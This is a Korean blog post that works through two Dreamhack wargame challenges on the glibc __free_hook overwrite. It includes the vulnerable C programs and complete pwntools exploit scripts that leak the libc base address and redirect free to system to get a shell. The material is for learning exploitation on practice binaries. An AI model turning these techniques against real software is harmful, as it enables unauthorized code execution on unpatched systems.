[dreamhack] fho, hook
2024년 6월 29일
개요 #
일부 libc 함수는 함수가 호출되기 전에 호출하는 hook이 있는데, hook 함수주소를 overwrite해서 함수가 호출될 때 hook 대신 system 함수를 호출하도록 유도하는 공격이다.
이 공격기법은 libc 2.34 부터 막혔지만, canary, NX, full RELRO, PIE+ASLR 기법이 적용되더라도 공격이 가능한 방법이다.
fho #
정보수집 #
1#include <stdio.h>
2#include <stdlib.h>
3#include <unistd.h>
4
5int main() {
6 char buf[0x30];
7 unsigned long long *addr;
8 unsigned long long value;
9
10 setvbuf(stdin, 0, _IONBF, 0);
11 setvbuf(stdout, 0, _IONBF, 0);
12
13 puts("[1] Stack buffer overflow");
14 printf("Buf: ");
15 read(0, buf, 0x100);
16 printf("Buf: %s\n", buf);
17
18 puts("[2] Arbitary-Address-Write");
19 printf("To write: ");
20 scanf("%llu", &addr);
21 printf("With: ");
22 scanf("%llu", &value);
23 printf("[%p] = %llu\n", addr, value);
24 *addr = value;
25
26 puts("[3] Arbitrary-Address-Free");
27 printf("To free: ");
28 scanf("%llu", &addr);
29 free(addr);
30
31 return 0;
32}
공격 #
main의 리턴 주소? #
hook은 libc의 bss 영역에 있기 때문에 libc의 베이스 주소를 알아와야 한다.
basic_rop에서 했던 것처럼 got영역을 이용할 수도 있지만, 한번 plt를 호출해서 리졸버를 확인해야되고, 일반적인 프로그래밍에서 got영역을 출력해줄 일은 없기 떄문에 원하는 함수를 이미 호출할 수 있어야한다.
libc는 다른 라이브러리와는 다르게 main 함수를 호출해주는 __libc_start_main 이라는 함수가 포함되어 있으며, 이 함수의 인자로 main함수의 포인터를 전달받아서 main을 호출할 수 있게 되는것이다.
그렇다면 main의 리턴 주소는 뭘까?
gdb에서 main 엔트리로 들어가면 __libc_start_main+243 으로 리턴하는 것을 볼 수 있다. 243 위치인것도 당연히 라이브러리마다 다르다.
공격 순서 #
- libc의 free_hook 에 system 함수의 주소를 overwrite 해서 대신 호출하도록 해야되기 때문에 free_hook의 위치, system 함수 주소, /bin/sh 문자열의 주소를 알아야 한다. 세개 모두 오프셋은 libc 바이너리를 확인하면 되고, libc의 베이스 주소만 알아내면 된다.
- 문제에서는 원하는 위치에 원하는 값을 적을 수 있기 때문에 더이상 할게 없다.
페이로드 #
1p.recvuntil(b'\nBuf: ')
2p.sendline(b'A'*0x47)
3p.recvuntil(b'AAAA\n')
4
5### 주의할점은 printf로 %s 가 출력된 값이기 때문에 \x00은 짤리게된다.
6main_ret_addr = u64(p.recv(0x6) + b'\x00\x00')
7
8# __libc_start_main이 libc의 함수이기 때문에 libc의 base_addr이 된다.
9base_addr = main_ret_addr - el.symbols['__libc_start_main'] - 243
10# 또는 base_addr = main_ret_addr - el.libc_start_main_return (예약어인듯)
11free_hook_addr = base_addr + el.symbols['__free_hook']
12system_addr = base_addr + el.symbols['system']
13binsh_addr = base_addr + next(el.search(b'/bin/sh'))
14
15### 이후 과정은 그냥 원하는 메모리 주소를 전달하는 것 밖에 없다.
16p.recvuntil(b'To write: ')
17# scanf로 입력받기 때문에 sendline을 사용해야 한다.
18p.sendline(str(free_hook_addr).encode())
19p.recvuntil(b'With: ')
20p.sendline(str(system_addr).encode())
21p.recvuntil('To free: ')
22p.sendline(str(binsh_addr).encode())
23
24p.interactive()
hook #
이 문제는 사실 어렵진 않지만, hook을 좀더 생각해볼 수 있는 문제라 같이 정리한다.
hook 주소도 역시 got처럼 데이터 영역임을 기억하자.
정보수집 #
문제에서는 ptr에 힙 영역을 할당받아 주소를 전달하고, ptr+1 위치의 값을 ptr이 가리키는 주소의 값에 넣는다.
이후에는 free로 해제하는데 연속으로 2번 해제하면서 double free 문제도 발생한다.
1#include <stdio.h>
2#include <stdlib.h>
3#include <signal.h>
4#include <unistd.h>
5
6void alarm_handler() {
7 puts("TIME OUT");
8 exit(-1);
9}
10
11void initialize() {
12 setvbuf(stdin, NULL, _IONBF, 0);
13 setvbuf(stdout, NULL, _IONBF, 0);
14 signal(SIGALRM, alarm_handler);
15 alarm(60);
16}
17
18int main(int argc, char *argv[]) {
19 long *ptr;
20 size_t size;
21
22 initialize();
23
24 printf("stdout: %p\n", stdout);
25
26 printf("Size: ");
27 scanf("%ld", &size);
28
29 ptr = malloc(size);
30
31 printf("Data: ");
32 read(0, ptr, size);
33
34 *(long *)*ptr = *(ptr+1);
35
36 free(ptr);
37 free(ptr);
38
39 system("/bin/sh");
40 return 0;
41}
공격 #
공격 시나리오 #
- free를 두번하는 double free는 어떤 경우도 피해갈 수 없기 때문에 free의 훅에서 쉘을 얻어야 하는 것을 알 수 있다.
- ptr에 저장된 값은 저장이 가능해야하며, 코드 중간에 ptr+1 의 값을 저장하는 것을 알 수 있는데, Data에서 입력받을때 ptr+1에 원하는 값을 넣으면된다.
- 아래에서는 공교롭게도 내가 원하는 시스템 함수가 있으며, checksec의 결과로 PIE가 적용되지 않음을 알 수 있기 때문에 그냥 main에서 호출하는 이 주소를 전달해주면 될 것 이다. (원샷 가젯을 사용해도 괜찮음)
- 결국에는 **ptr 위치에 쉘 획득 함수를 넣어둬야 되고, *ptr에는 값을 쓸 수 있는 위치(free_hook 등)면 된다.
- 시스템 함수는 rdi 에 “/bin/sh” 문자열을 넣는 것을 생각해서 파라미터 세팅부터 실행시켜야된다.
페이로드에서 stdout으로 libc의 base를 얻는 것을 확인할 수 있는데 libc에서 검색해보면 stdout이 3개나 된다.
세개의 객체 모두 버전 별 stdout이지만, stdout이 저장하고있는 포인터를 출력했을 때 어떤 객체를 가리키는지는 알 수 없기 때문에 셋다 해봐야 알 수 있고, 실제 문제 환경에서는 __IO_2_1_stdout 객체를 가리키고 있었다.
페이로드 #
1p.recvuntil(b'stdout: ')
2msg = p.recvline()
3stdout_addr = int(msg[:-1], 16)
4print(hex(stdout_addr))
5
6base_addr = stdout_addr - el.symbols['_IO_2_1_stdout_']
7
8free_hook_addr = base_addr + el.symbols['__free_hook']
9system_addr = 0x400a11
10
11print(p.recvuntil(b'Size: '))
12p.sendline(str(0x10).encode())
13
14print(p.recvuntil(b'Data: '))
15
16payload = p64(free_hook_addr) + p64(system_addr)
17
18p.send(payload)
19
20p.interactive()
기억할점 #
- 함수의 호출은 결국 특정 코드 주소의 명령을 순서대로 실행할 뿐이다. 프롤로그, 에필로그가 없더라도 어떤 코드든 실행은 가능하다. (이후 스택이 깨지거나 할 순 있지만..)
- hook들도 .bss영역의 데이터일 뿐이다. hook의 주소에 접근해야 실제 후킹 함수의 주소를 얻을 수 있다.